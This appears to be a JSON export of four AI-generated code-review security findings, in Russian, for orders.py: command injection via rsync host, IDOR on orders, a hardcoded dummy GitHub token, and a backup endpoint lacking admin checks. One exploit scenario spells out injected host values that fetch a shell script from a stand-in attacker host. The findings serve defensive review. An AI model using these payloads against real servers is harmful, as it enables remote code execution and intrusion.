[ { "id": "ai-review-0-orders.py-83", "source": "ai-review", "category": "command-exec", "severity": "critical", "confidence": 0.8, "file": "orders.py", "line_start": 83, "line_end": 83, "title": "Недостаточная очистка host от спецсимволов для командной инъекции", "description": "Используется простая замена одиночных спецсимволов (;|&`) в host, но не экранируются другие опасные символы и конструкции, способные привести к выполнению произвольных команд при вызове rsync.", "impact": "Возможна командная инъекция через specially crafted host, позволяющая атакующему выполнить произвольные команды на сервере с правами процесса.", "exploit_scenario": "Атакующий отправляет POST-запрос на /admin/backup с host='example.com$(curl attacker.com/shell.sh)|other' или host='example.com; sh -c \"whoami\"'. Несмотря на замену ;|&` , в rsync возможны другие векторы инъекции через опции командной строки или интерпретацию хоста как URL с внедрением команд.", "evidence": "escaped_host = host.replace(\";\", \"\").replace(\"|\", \"\").replace(\"&\", \"\").replace(\"`\", \"\") — недостаточно для предотвращения всех векторов инъекции. Использование подстановки в список аргументов всё ещё уязвимо к неожиданному поведению rsync.", "recommendation": "Валидировать host по строгому белому списку (например, регулярное выражение для IP или домена), ограничить протокол и путь (например, только определённые хосты из конфига). Избегать подстановки пользовательского ввода в аргументы системных команд. Использовать безопасные альтернативы (scp, sftp с OAuth/ключами), либо запускать команду только после строгой валидации.", "cwe": "CWE-78", "status": "OPEN", "created_at": "2026-08-23T17:15:43Z", "pr_number": 13, "commit_sha": "3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782" }, { "id": "ai-review-1-orders.py-32", "source": "ai-review", "category": "idor", "severity": "high", "confidence": 1.0, "file": "orders.py", "line_start": 32, "line_end": 47, "title": "Отсутствие проверки ownership заказа", "description": "Методы GET и POST для /orders/{id} проверяют только аутентификацию, но не проверяют, что order_id принадлежит текущему пользователю. В словаре orders нет хранения user_id по умолчанию, и no authorization check на уровне заказа.", "impact": "Любой аутентифицированный пользователь может читать и изменять чужие заказы (IDOR), что приводит к утечке и модификации чужих данных.", "exploit_scenario": "Пользователь с токеном token_abc отправляет GET /orders/100 и получает данные чужого заказа, или POST /orders/100 с amount=0 и обнуляет чужой заказ. Это возможно без знания user_id авторизованного пользователя.", "evidence": "def check_auth(self): ... token = auth_header[7:] ... return self._validate_token(token). Далее в do_GET и do_POST: order_id = self.path.split(\"/\")[-1]; if order_id in orders: ... orders[order_id][\"amount\"] = data[\"amount\"] — нет связи order_id и owner (user_id)", "recommendation": "Хранить в заказах user_id, проверять, что order_id принадлежит текущему пользователю (например, из токена), и блокировать операции над чужими заказами. Добавить user_id = extract_user_from_token(token), и проверку ownership перед доступом.", "cwe": "CWE-639", "status": "OPEN", "created_at": "2026-08-23T17:15:43Z", "pr_number": 13, "commit_sha": "3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782" }, { "id": "ai-review-2-orders.py-15", "source": "ai-review", "category": "sensitive-data", "severity": "medium", "confidence": 1.0, "file": "orders.py", "line_start": 15, "line_end": 15, "title": "Хардкод токена GitHub в коде", "description": "GitHubToken хранится в исходном коде как строковая константа, несмотря на префикс dummy. Это считается плохой практикой, потенциально опасной при утечке кода.", "impact": "Возможна утечка учётных данных в логах, артефактах, дампах памяти. Даже фейковый токен в коде сигнализирует о плохих практиках управления секретами.", "exploit_scenario": "Атакующий клонирует репозиторий и находит GitHubToken, использует его для получения доступа к GitHub API (если он рабочий) или для атак на CI/CD, основанных на знании, что в репозитории есть «дамми» токены (возможно, другие секреты хранятся так же плохо).", "evidence": "GitHubToken = \"ghp_dummytoken_for_backup_notifications\"", "recommendation": "Использовать переменные окружения или внешний менеджер секретов. Загружать токен через os.getenv(\"GITHUB_TOKEN\") или подобный механизм.", "cwe": "CWE-312", "status": "OPEN", "created_at": "2026-08-23T17:15:43Z", "pr_number": 13, "commit_sha": "3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782" }, { "id": "ai-review-3-orders.py-62", "source": "ai-review", "category": "authz", "severity": "high", "confidence": 1.0, "file": "orders.py", "line_start": 62, "line_end": 65, "title": "Эндпоинт /admin/backup доступен любому аутентифицированному пользователю без дополнительной авторизации", "description": "Эндпоинт требует только Basic Bearer токен (любой валидный токен, начинающийся с token_), не проверяет роль администратора, разрешает выполнение опасных операций (запуск rsync).", "impact": "Любой пользователь, знающий URL и имеющий любой валидный токен (включая приватные пользовательские токены), может инициировать резервное копирование, потенциально использование вредоносных хостов.", "exploit_scenario": "Пользователь, имеющий любой токен token_* (даже для обычного доступа к заказам), отправляет POST /admin/backup с вредоносным host для эксплуатации инъекции команд. Отсутствие проверки role=admin делает endpoint открытым для всех.", "evidence": "elif self.path == \"/admin/backup\": if not self.check_auth(): ... — нет дополнительной проверки роли пользователя (например, claim \"admin\": true в токене или отдельный header)", "recommendation": "Добавить роль или флаг администратора в токен, проверять его при входе в /admin/backup. Или использовать отдельный API-ключ/secret только для admin-эндпоинтов, отличный от пользовательских токенов.", "cwe": "CWE-285", "status": "OPEN", "created_at": "2026-08-23T17:15:43Z", "pr_number": 13, "commit_sha": "3b95a2a7f9fe5e93847c5e0b4a407e5d8802b782" } ]